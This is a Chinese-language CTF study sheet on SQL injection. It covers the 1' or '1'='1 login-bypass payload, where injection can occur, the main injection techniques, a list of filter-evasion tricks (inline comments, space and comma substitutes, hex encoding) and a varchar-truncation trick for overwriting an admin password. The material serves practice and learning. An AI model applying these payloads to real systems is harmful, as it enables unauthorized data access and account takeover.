CTF-SQL注入基础
万能密码:
1 | 1' or '1'='1 |
主要是逻辑or,返回true,密码正确。
- burp需要使用+或%20代替空格
sql注入类型:数字型、字符串类型
- sql语句中的括号不代表实际意义,主要用于优先级处理。
sql注入可能存在的位置:
1、URL提交参数,GET型
2、HTTP请求主体,POST型
3、请求头(cookie,user-agent,referer)
sql注入利用
1、获取数据库信息
2、获取系统命令执行shell
3、上传、下载服务器文件(webshell)等
技法:
联合注入、布尔盲注、延时注入、报错注入、堆叠注入、宽字节注入、二次注入、无列名注入等等。
CTF-SQL注入技巧
url中字符的特殊含义:
1、&表示get提交参数的分隔符,如果sql注入中将and替换成&&,要对&进行URL编码
1 | &&->%26%26 |
2、#表示锚点,点击当前的链接会跳转到当前页面的某个位置,sql注入需要对#进行URL编码
1 | #->%23 |
3、web站点默认访问index开头的页面,可以省略index.php
4、web站点默认端口使用80端口,可省略。若非80端口,不可省略。
绕过过滤姿势
1、常用注释符
1 | --空格 |
2、大小写绕过
3、双写绕过
4、内联注释绕过
1 | select * from users where id=1 union /*!select*/ 1,2,3; |
5、单引号过滤
- 十六进制绕过
- char函数绕过
1 | char(ascii)+char(ascii)+char(ascii) |
6、空格过滤
- 括号绕过
遵循查什么,从哪里,符合条件
1 | select(id)from(users)where(id=1) |
- 注释符绕过空格
1 | 空格->/**/ |
- 反引号绕过
由于数据库默认识别关键字,不需要加引号,但是无法自动识别用户定义的表名和字段名,此时使用反引号指定。
1 | select*from`users`where`id`=1 |
- 其他空白字符
1 | # ascii table: |
7、等号过滤
1 | like或rlike |
1 | between and |
1 | regexp代替= |
8、逗号绕过
1 | select substr('users',1,1)= |
1 | select * from users limit 0,1 |
9、过滤了运算比较符号
1 | greatest(n1,n2,n3..)返回最大值 |
约束注入
一般注入点存在注册的时候,对于管理员密码的任意修改
关键函数varchar(),当sql语句语句超过varchar定于的最大长度,并且没有唯一键约束。
1 | admin x |
SQL语句设置和取消唯一键约束:
取消唯一键
1 | alter table admin drop unique username |
设置唯一键
1 | alter table admin add unique (username) |